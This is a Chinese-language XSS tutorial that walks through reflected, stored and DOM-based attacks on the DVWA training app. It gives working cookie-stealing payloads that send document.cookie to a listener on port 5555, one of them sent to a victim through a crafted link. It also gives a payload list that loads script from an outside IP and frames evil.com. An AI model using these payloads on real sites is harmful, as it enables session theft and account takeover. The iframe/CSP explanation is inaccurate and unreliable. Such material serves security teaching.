一、概念
XSS(cross site scripting)跨站腳本為了不與網頁中層疊樣式表(css)混淆,故命名為xss。黑客將惡意代碼嵌入網頁中,當客戶網文網頁的時候,網頁中的腳本會自動執行,從而達成黑客攻擊的目的。
XSS分類:反射型xss、持久性xss、dom型xss。
二、反射型xss
非持久化,一般需要欺騙客戶去點擊構造好的鏈接才能觸發代碼。
可以看到這個窗口將我填寫的信息寫到了瀏覽器頁面中,那這個時候我將信息修改成<script>alert('hhh')</script>,可以看到我嵌入的代碼被執行了。
這個時候我們將構造好的url發給麗麗http://dvwa/vulnerabilities/xss_r/?name=<script>new Image().src="http://localhost:5555?cookie="+encodeURI(document.cookie);</script>
然后開始偵聽本地5555端口,在麗麗點擊這個連接以后,我們就獲取到了麗麗的cookie信息。
三、持久型xss
顧名思義,這種xss漏洞危害極大,因為它可以長久的保存在網頁中,每個瀏覽過此網頁的用戶都會中招,很多xss蠕蟲的爆發都是基於持久型xss,一般在留言板,評論區類位置容易出現此漏洞。
例:下面是一個有瀏覽板功能的網頁,我們將我們的攻擊代碼留在頁面中<script>alert('hhh')</script>
這樣我們每次訪問這個頁面都會接到hhh的彈窗,然后我們換一下payload,<script>new Image().src="http://localhost:5555?cookie="+document.cookie;</script> ,這樣無論是那一個用戶進入留言板這個頁面,都會把自己的cookie彈到我們的監聽窗口上。
三、DOM型xss
關於DOM型xss首先要明白一個問題,一個網頁是經過怎么樣的步驟顯示在瀏覽器上的?
首先肯定是要向目標服務器發出訪問請求,服務器收到請求后,根據我們的請求內容返回網頁源碼,然后它在我們的瀏覽器上解析,渲染,最后呈現出一個完整的網頁在我們的眼前。DOM型xss與上面兩種最大的區別就是,dom型xss漏洞是基於文檔對象模型(Document Objeet Model,DOM)的,它不需要經過后端,它是在瀏覽器解析渲染服務器源碼的時候產生的,所以我們在抓包的過程中是看不到dom型xss有關的內容的。
例:我們構造如下url:http://localhost/iisstart.html?hhh 查看網頁內容如下,如果我們將?hhh替換為相應的xss攻擊代碼,就會產生相應的效果。
然后我們在抓包工具查看服務器對剛剛請求的回包,我們發現構造的?hhh並沒有記錄到抓包工具中,證明服務器給我們返回的網頁源碼並沒有出現xss,它是在瀏覽器渲染執行js的時候出現的,這就是dom型xss和其他兩種xss的區別。
四、XSS的payload
XSS可以插在哪里?
用戶輸入作為script標簽內容
用戶輸入作為HTML注釋內容
用戶輸入作為HTML標簽的屬性名
用戶輸入作為HTML標簽的屬性值
用戶輸入作為HTML標簽的名字
直接插入到CSS里
<script>標簽:script是最有直接的xss攻擊載荷,腳本標記可以應用外部的js代碼,或者將腳本插入網頁之中。
<script>alert("hhh")</script>
<script src="http://1.1.1.1/a.js"></script>
<img >標簽:
<img src="2" onerror=alert('hhh')>
<img src="2" onerror=alert(/hhh/)>
<img src="javascript:alert("XSS");">
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">
<table>標簽:
<table background="javascript::alert('hhh')">
<iframe>標簽:<iframe>標簽允許另一個HTML網頁的嵌入到父頁面。IFrame可以包含JavaScript,但是,請注意,由於瀏覽器的內容安全策略(CSP),iFrame中的JavaScript無法訪問父頁面的DOM。然而,IFrame仍然是非常有效的解除網絡釣魚攻擊的手段。
<iframe src=”http://evil.com/xss.html”>